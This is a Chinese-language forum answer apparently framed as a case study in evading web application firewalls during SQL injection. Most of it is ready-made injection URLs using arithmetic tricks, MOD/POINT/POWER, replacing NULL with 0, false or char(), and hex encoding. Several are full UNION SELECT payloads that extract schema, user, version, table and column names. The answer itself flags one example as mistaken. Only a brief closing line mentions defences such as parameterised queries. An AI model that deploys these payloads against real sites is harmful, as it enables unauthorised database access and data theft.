通过 SQL 函数绕过 SQL 注入 WAF 的案例研究

通过 SQL 函数绕过 SQL 注入 WAF 的案例研究
最新回答
云起兮衣飞扬

2026-10-24 06:33:42

通过 SQL 函数绕过 SQL 注入 WAF 的案例研究主要涉及利用数学/逻辑运算、数据库函数、非法参数类型、NULL 值替代及 0xHEX 编码等技术,绕过 WAF 对恶意 SQL 语句的检测规则。 以下是具体案例及分析:

一、利用数学/逻辑运算绕过 WAF

WAF 常通过检测关键字(如 AND 0)或简单逻辑表达式阻断 SQL 注入,但通过数学运算或复杂逻辑可绕过规则。

  • 算术运算替代 AND 0使用 1*0、1-1、0/1 等数学表达式替代直接使用 0,避免触发 WAF 对 AND 0 的检测。示例:

    http://website.com/index.php?id=1'
    and 1*0 order by 10–

    此查询通过 1*0 生成 0,保持逻辑为假且不触发 WAF。

  • 逻辑运算符组合利用 AND、OR 的逻辑等价性构造复杂表达式。示例:

    http://website.com/index.php?id=1
    and (1=0 or 1=1) order by 10–

    通过 (1=0 or 1=1) 绕过对简单 AND 0 的检测。

二、利用数据库函数绕过 WAF

数据库函数(如 MOD()、POINT()、POWER())可生成特定值,替代直接使用 0 或 NULL。

  • MOD() 函数MOD(a, b) 返回 a 除以 b 的余数,可通过参数设计使结果为 0。示例:

    http://website.com/index.php?id=1
    and mod(29,9) Order by 10–

    MOD(29,9) 结果为 2(此处示例可能有误,实际应为 MOD(27,9)=0),但原理是通过函数生成特定值绕过检测。

  • POINT() 函数POINT(x, y) 生成空间坐标点,但部分数据库可能将其转换为数值或字符串处理。示例:

    http://website.com/index.php?id=1
    and point(29,9) Order by 10–

    通过 POINT(29,9) 生成非零值,但结合上下文可能绕过 WAF 对 0 的检测。

  • POWER() 函数POWER(a, b) 返回 a 的 b 次方,可通过参数设计生成大数或特定值。示例:

    http://website.com/index.php?id=1
    and power(5,5) Order by 10–

    POWER(5,5) 结果为 3125,但结合其他操作可能绕过检测。

三、利用非法参数数据类型绕过 WAF

通过构造数据类型不匹配的查询,使 WAF 因解析失败而放行。

  • 数据类型混淆在参数中混入非预期数据类型(如字符串、函数调用),干扰 WAF 的规则匹配。示例:

    http://website.com/index.php?id=1
    % point(29,9) Order by 10–

    % 是取模运算符,但混入 point(29,9) 可能使 WAF 无法正确解析。

  • 位运算符替代使用 &(位与)、|(位或)替代逻辑运算符,绕过对 AND、OR 的检测。示例:

    http://website.com/index.php?id=1
    & point(29,9) Order by 10–

    通过 & 结合 point(29,9) 构造复杂表达式。

四、利用 NULL 值替代绕过 WAF

直接使用 NULL 易被 WAF 检测,但可通过替代方式(如 0、false、CHAR())绕过。

  • 用 0 替代 NULL在 UNION SELECT 中使用 0 替代 NULL,避免触发对 NULL 的检测。示例:

    UNION SELECT 0,0,0,0

    完整示例:

    http://website.com/index.php?id=1
    div 0 Union Select 0,0,0,0,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),0,0–+
  • 用 false 替代 NULL部分数据库支持 false 作为布尔值,可替代 NULL。示例:

    UNION SELECT false,false,false,false

    完整示例:

    http://website.com/index.php?id=1
    div false Union Select false,false,false,false,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),false–+
  • 用 CHAR() 函数生成 NULL 等价值通过 CHAR(0) 或 CHAR(0x4e554c4c)(NULL 的十六进制表示)生成 NULL。示例:

    UNION SELECT char(0),char(0),char(0),char(0)

    完整示例:

    http://website.com/index.php?id=1
    div char(false) Union Select char(false) div char(false) Union Select char(false),char(false),char(false),char(false),concat(0x222f3e,0x3c62723e,0x3c62723e,'Database::',database(),0x3c62723e,'User::',user(),0x3c62723e,'Version::',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),char(false)–+,char(false),char(false),char(false),char(false),char(false)–+
五、利用 0xHEX 编码绕过 WAF

将关键字或函数参数转换为十六进制格式,避免 WAF 对明文字符的检测。

  • 函数参数编码将 NULL、0 等值转换为十六进制表示。示例:SELECT CHAR(NULL); → SELECT CHAR(0x4e554c4c);SELECT CHAR(0) → SELECT CHAR(0x30);SELECT MOD(29,9); → SELECT MOD(0x3239,0x39);SELECT POINT(29,9); → SELECT POINT(0x3239,0x39);完整示例:
    http://website.com/index.php?id=1
    div 0x4e554c4c Union Select 0x30,0x30,0x30,0x30,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),0x30,0x30–+
总结

通过数学/逻辑运算、数据库函数、非法参数类型、NULL 值替代及 0xHEX 编码等技术,可有效绕过 WAF 对 SQL 注入的检测。但需注意,这些技术仅用于安全研究,实际攻击可能违反法律。 防御方应结合 WAF 规则更新、输入验证、参数化查询等措施提升安全性。